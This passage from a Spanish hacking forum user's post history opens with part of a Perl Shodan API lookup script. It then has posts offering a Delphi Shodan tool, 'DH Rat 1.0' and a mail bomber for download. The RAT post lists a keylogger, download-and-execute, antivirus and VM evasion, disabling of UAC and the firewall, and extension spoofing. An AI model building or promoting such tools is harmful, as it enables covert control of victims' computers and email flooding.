  395.        printear("[+] Unlocked left : ");
  396.        print $unlock_left. "\n";
  397.    }
  398.    if ( $telnet ne "" ) {
  399.        printear("[+] Telnet : ");
  400.        print $telnet. "\n";
  401.    }
  402.    if ( $plan ne "" ) {
  403.        printear("[+] Plan : ");
  404.        print $plan. "\n";
  405.    }
  406.    if ( $http ne "" ) {
  407.        printear("[+] HTTPS : ");
  408.        print $http. "\n";
  409.    }
  410.    if ( $unlocked ne "" ) {
  411.        printear("[+] Unlocked : ");
  412.        print $unlocked. "\n";
  413.    }
  414.  
  415. }
  416.  
  417. sub by_count {
  418.  
  419.    my $query  = $_[0];
  420.    my $fecets = "";
  421.  
  422.    printear_titulo("\n[+] Searching in Shodan without Results ...\n\n");
  423.  
  424.    my $code =
  425.      toma( "https://api.shodan.io/shodan/host/count?key="
  426.          . $api_key
  427.          . "&query="
  428.          . $query
  429.          . "&facets="
  430.          . $facets );
  431.  
  432.    $resultado = JSON->new->decode($code);
  433.    my $total = $resultado->{"total"};
  434.    if ( $total ne "" ) {
  435.        printear("[+] Total : ");
  436.        print $total. "\n";
  437.    }
  438.    else {
  439.        printear( "[-] WTF !" . "\n" );
  440.    }
  441.  
  442. }
  443.  
  444. sub by_ip {
  445.  
  446.    my $target = $_[0];
  447.  
  448.    printear("\n[+] Target : ");
  449.    print $target. "\n";
  450.  
  451.    printear_titulo("\n[+] Getting Host Information ...\n\n");
  452.  
  453.    my $code = toma(
  454.        "https://api.shodan.io/shodan/host/" . $target . "?key=" . $api_key );
  455.    $resultado = JSON->new->decode($code);
  456.  
  457.    my $ip           = $resultado->{'ip'};
  458.    my $country_name = $resultado->{'country_name'};
  459.    my $country_code = $resultado->{'country_code'};
  460.    my $region_name  = $resultado->{'region_name'};
  461.    my $postal_code  = $resultado->{'postal_code'};
  462.  
  463.    if ( $ip ne "" ) {
  464.        printear("[+] IP : ");
  465.        print $ip. "\n";
  466.    }
  467.    if ( $country_name ne "" ) {
  468.        printear("[+] Country Name : ");
  469.        print $country_name. "\n";
  470.    }
  471.    if ( $country_code ne "" ) {
  472.        printear("[+] Country Code : ");
  473.        print $country_code. "\n";
  474.    }
  475.    if ( $region_name ne "" ) {
  476.        printear("[+] Area Code : ");
  477.        print $region_name. "\n";
  478.    }
  479.    if ( $postal_code ne "" ) {
  480.        printear("[+] Postal Code : ");
  481.        print $postal_code. "\n";
  482.    }
  483.    printear("[+] Hostnames : ");
  484.    my @hostnames = @{ $resultado->{'hostnames'} };
  485.    foreach my $host (@hostnames) {
  486.        print $host. "\t";
  487.    }
  488.    print "\n";
  489.    printear_titulo("\n[+] Getting Data ...\n\n");
  490.    my $i           = 0;
  491.    my @encontrados = @{ $resultado->{'data'} };
  492.    foreach my $encontrado (@encontrados) {
  493.        $i++;
  494.        print "-------------------------------------\n\n";
  495.        my $ip           = $encontrado->{"ip_str"};
  496.        my $country      = $encontrado->{"location"}{"country_name"};
  497.        my $product      = $encontrado->{"product"};
  498.        my $version      = $encontrado->{"version"};
  499.        my $data         = $encontrado->{"data"};
  500.        my $cpe          = $encontrado->{"cpe"};
  501.        my $time         = $encontrado->{"timestamp"};
  502.        my $last_updated = $encontrado->{"last_update"};
  503.        my $port         = $encontrado->{"port"};
  504.        my $os           = $encontrado->{"os"};
  505.        my $isp          = $encontrado->{"isp"};
  506.        my $ans          = $encontrado->{"ans"};
  507.        my $banner       = $encontrado->{"banner"};
  508.  
  509.        if ( $ip ne "" ) {
  510.            printear("[+] IP : ");
  511.            print $ip. "\n";
  512.        }
  513.        if ( $port ne "" ) {
  514.            printear("[+] Port : ");
  515.            print $port. "\n";
  516.        }
  517.        printear("[+] Hostnames : ");
  518.        my @hostnames2 = @{ $encontrado->{'hostnames'} };
  519.        foreach my $host2 (@hostnames2) {
  520.            print $host2. "\t";
  521.        }
  522.        print "\n";
  523.        if ( $country ne "" ) {
  524.            printear("[+] Country : ");
  525.            print $country. "\n";
  526.        }
  527.        if ( $product ne "" ) {
  528.            printear("[+] Product : ");
  529.            print $product. "\n";
  530.        }
  531.        if ( $version ne "" ) {
  532.            printear("[+] Version : ");
  533.            print $version. "\n";
  534.        }
  535.        if ( $data ne "" ) {
  536.            printear("[+] Data : ");
  537.            print "\n\n" . $data . "\n";
  538.        }
  539.        if ( $time ne "" ) {
  540.            printear("[+] Time : ");
  541.            print $time. "\n";
  542.        }
  543.        if ( $last_updated ne "" ) {
  544.            printear("[+] Last Updated : ");
  545.            print $last_updated. "\n";
  546.        }
  547.        if ( $cpe ne "" ) {
  548.            printear("[+] CPE : ");
  549.            print $cpe. "\n";
  550.        }
  551.        if ( $os ne "" ) {
  552.            printear("[+] OS : ");
  553.            print $os. "\n";
  554.        }
  555.        if ( $isp ne "" ) {
  556.            printear("[+] ISP : ");
  557.            print $isp. "\n";
  558.        }
  559.        if ( $asn ne "" ) {
  560.            printear("[+] ASN : ");
  561.            print $ans. "\n";
  562.        }
  563.        if ( $banner ne "" ) {
  564.            printear("[+] Banner : ");
  565.            print $banner. "\n";
  566.        }
  567.        print "\n-------------------------------------\n";
  568.  
  569.        if ( $i % 5 == 0 ) {
  570.            printear("\n[+] Press enter to show more\n");
  571.            <STDIN>;
  572.        }
  573.  
  574.    }
  575.  
  576. }
  577.  
  578. sub by_search {
  579.  
  580.    my $target = $_[0];
  581.  
  582.    printear("[+] Target : ");
  583.    print $target. "\n";
  584.  
  585.    printear_titulo("\n[+] Searching in Shodan ...\n\n");
  586.  
  587.    my $code =
  588.      toma( "https://api.shodan.io/shodan/host/search?key="
  589.          . $api_key
  590.          . "&query="
  591.          . $target
  592.          . "&facets=" );
  593.  
  594.    $resultado = JSON->new->decode($code);
  595.  
  596.    my $total = $resultado->{'total'};
  597.  
  598.    if ( $total ne "" ) {
  599.        printear("[+] Total : ");
  600.        print $total. "\n";
  601.    }
  602.    else {
  603.        printear("[-] WTF !");
  604.    }
  605.  
  606.    my $ip           = $resultado->{'ip'};
  607.    my $country_name = $resultado->{'country_name'};
  608.    my $country_code = $resultado->{'country_code'};
  609.    my $region_name  = $resultado->{'region_name'};
  610.    my $postal_code  = $resultado->{'postal_code'};
  611.  
  612.    if ( $ip ne "" ) {
  613.        printear("[+] IP : ");
  614.        print $ip. "\n";
  615.    }
  616.    if ( $country_name ne "" ) {
  617.        printear("[+] Country Name : ");
  618.        print $country_name. "\n";
  619.    }
  620.    if ( $country_code ne "" ) {
  621.        printear("[+] Country Code : ");
  622.        print $country_code. "\n";
  623.    }
  624.    if ( $region_name ne "" ) {
  625.        printear("[+] Area Code : ");
  626.        print $region_name. "\n";
  627.    }
  628.    if ( $postal_code ne "" ) {
  629.        printear("[+] Postal Code : ");
  630.        print $postal_code. "\n";
  631.    }
  632.  
  633.    if ( $resultado->{'hostnames'}[0] ne "" ) {
  634.        printear("[+] Hostnames : ");
  635.        my @hostnames = @{ $resultado->{'hostnames'} };
  636.        foreach my $host (@hostnames) {
  637.            print $host. "\t";
  638.        }
  639.        print "\n";
  640.    }
  641.  
  642.    printear_titulo("\n[+] Getting Data ...\n\n");
  643.  
  644.    my $i = 0;
  645.  
  646.    my @encontrados = @{ $resultado->{'matches'} };
  647.    foreach my $encontrado (@encontrados) {
  648.        $i++;
  649.        print "-------------------------------------\n\n";
  650.        my $ip           = $encontrado->{"ip_str"};
  651.        my $country      = $encontrado->{"location"}{"country_name"};
  652.        my $product      = $encontrado->{"product"};
  653.        my $version      = $encontrado->{"version"};
  654.        my $data         = $encontrado->{"data"};
  655.        my $cpe          = $encontrado->{"cpe"};
  656.        my $time         = $encontrado->{"timestamp"};
  657.        my $last_updated = $encontrado->{"last_update"};
  658.        my $port         = $encontrado->{"port"};
  659.        my $os           = $encontrado->{"os"};
  660.        my $isp          = $encontrado->{"isp"};
  661.        my $ans          = $encontrado->{"ans"};
  662.        my $banner       = $encontrado->{"banner"};
  663.  
  664.        if ( $ip ne "" ) {
  665.            printear("[+] IP : ");
  666.            print $ip. "\n";
  667.        }
  668.        if ( $port ne "" ) {
  669.            printear("[+] Port : ");
  670.            print $port. "\n";
  671.        }
  672.        printear("[+] Hostnames : ");
  673.        my @hostnames2 = @{ $encontrado->{'hostnames'} };
  674.        foreach my $host2 (@hostnames2) {
  675.            print $host2. "\t";
  676.        }
  677.        print "\n";
  678.        if ( $country ne "" ) {
  679.            printear("[+] Country : ");
  680.            print $country. "\n";
  681.        }
  682.        if ( $product ne "" ) {
  683.            printear("[+] Product : ");
  684.            print $product. "\n";
  685.        }
  686.        if ( $version ne "" ) {
  687.            printear("[+] Version : ");
  688.            print $version. "\n";
  689.        }
  690.        if ( $data ne "" ) {
  691.            printear("[+] Data : ");
  692.            print "\n\n" . $data . "\n";
  693.        }
  694.        if ( $time ne "" ) {
  695.            printear("[+] Time : ");
  696.            print $time. "\n";
  697.        }
  698.        if ( $last_updated ne "" ) {
  699.            printear("[+] Last Updated : ");
  700.            print $last_updated. "\n";
  701.        }
  702.        if ( $cpe ne "" ) {
  703.            printear("[+] CPE : ");
  704.            print $cpe. "\n";
  705.        }
  706.        if ( $os ne "" ) {
  707.            printear("[+] OS : ");
  708.            print $os. "\n";
  709.        }
  710.        if ( $isp ne "" ) {
  711.            printear("[+] ISP : ");
  712.            print $isp. "\n";
  713.        }
  714.        if ( $asn ne "" ) {
  715.            printear("[+] ASN : ");
  716.            print $ans. "\n";
  717.        }
  718.        if ( $banner ne "" ) {
  719.            printear("[+] Banner : ");
  720.            print $banner. "\n";
  721.        }
  722.        print "\n-------------------------------------\n";
  723.  
  724.        if ( $i % 5 == 0 ) {
  725.            printear("\n[+] Press enter to show more\n");
  726.            <STDIN>;
  727.        }
  728.  
  729.    }
  730.  
  731. }
  732.  
  733. sub printear {
  734.    cprint( "\x036" . $_[0] . "\x030" );
  735. }
  736.  
  737. sub printear_logo {
  738.    cprint( "\x037" . $_[0] . "\x030" );
  739. }
  740.  
  741. sub printear_titulo {
  742.    cprint( "\x0310" . $_[0] . "\x030" );
  743. }
  744.  
  745. sub toma {
  746.    return $nave->get( $_[0] )->content;
  747. }
  748.  
  749. sub sintax {
  750.    printear("\n[+] Sintax : ");
  751.    print "perl $0 <option> <value>\n";
  752.    printear("\n[+] Options : \n\n");
  753.    print "-ip <ip> : Host Information\n";
  754.    print "-count <query> : Search Shodan without Results\n";
  755.    print "-search <query> : Search Shodan\n";
  756.    print "-query : List the saved search queries\n";
  757.    print
  758.      "-query_search <query> : Search the directory of saved search queries\n";
  759.    print "-query_tags : List the most popular tags\n";
  760.    print "-services : List all services that Shodan crawls\n";
  761.    print "-resolve <host> : DNS Lookup\n";
  762.    print "-reverse <ip> : Reverse DNS Lookup\n";
  763.    print "-myip : My IP Address\n";
  764.    print "-api_info : API Plan Information\n";
  765.    printear("\n[+] Example : ");
  766.    print "perl shodan.pl -search petardas\n";
  767.    copyright();
  768. }
  769.  
  770. sub head {
  771.    printear_logo("\n-- == Shodan Tool 0.6 == --\n\n");
  772. }
  773.  
  774. sub copyright {
  775.    printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
  776.    exit(1);
  777. }
  778.  
  779. # The End ?
  780.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
67  Programación / Programación General / [Delphi] Shodan Tool 0.6 en: 3 Abril 2015, 16:50 pm
Un programa en Delphi para hacer busquedas en Shodan con las siguientes opciones :

  • Buscar resultados por IP
  • Buscar resultados por cantidad
  • Busqueda normal
  • Listar los query guardados
  • Busca los query guardados que ya fueron buscados
  • Lista los tags mas populares
  • Lista todos los servicios que shodan encuentra
  • DNS Lookup
  • Reverse DNS Lookup
  • Te devuelve tu IP
  • Te da informacion sobre tu API

Es necesario que tengan una API Key suya para poder usar este programa.

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
68  Programación / Programación General / Re: [Delphi] DH Rat 1.0 en: 24 Marzo 2015, 17:36 pm
El codigo es muy largo para los foros , el comprimido viene con el proyecto para cargar en Delphi y con el ejecutable.
69  Programación / Programación General / [Delphi] DH Rat 1.0 en: 24 Marzo 2015, 16:57 pm
Hoy les traigo la nueva version de mi DH Rat en Delphi , esta version contiene las siguientes funciones :

  • Listar archivos en un directorio con la posibilidad de leerlos o borrarlos
  • Listar y cerrar procesos
  • Ejecutar comandos
  • Activar y desactivar Firewall
  • Activar y desactivar Regedit
  • Abrir y cerrar lectora de CD
  • Ocultar y mostrar barra de tareas
  • Ocultar y mostrar iconos del escritorio
  • Mandar mensajes al infectado
  • Enviar pulsaciones de teclado
  • Abrir Word y hacer que escriba solo
  • Volver loco al mouse
  • Volver loca la hora
  • Se puede apagar,reiniciar y cerrar sesion de la computadora
  • Se pueden cargar paginas
  • Se puede cargar paint
  • Se puede cambiar el texto de la hora y escribir lo que quieran
  • Se puede apagar el monitor
  • Se puede hacer hablar (en ingles) a la computadora
  • Bomba de Beeps
  • Se puede listar los drives disponibles
  • Se puede listar los servicios de Windows
  • Se puede listar las ventanas activas
  • Se puede bajar archivos y ejecutarlos
  • Incorpora un keylogger que captura las teclas y ventanas activas
  • Se puede desintalar el RAT
  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates

En el builder se tiene las siguientes opciones :

  • Se puede configurar si se quiere ocultar los archivos
  • Se puede configurar si se quiere cargar el Rat cada vez que inicie Windows
  • Se puede configurar donde se quiere instalar el Rat
  • File Pumper , Extension Spoofer y Icon Changer

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
70  Programación / Programación General / [Delphi] DH Bomber 1.3 en: 20 Marzo 2015, 14:35 pm
Version mejorada de este mail bomber en Delphi.

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.

Necesitan tener instalado Win32OpenSSL para que el programa les funcione.

Eso seria todo.
Páginas: 1 2 3 4 5 6 [7] 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines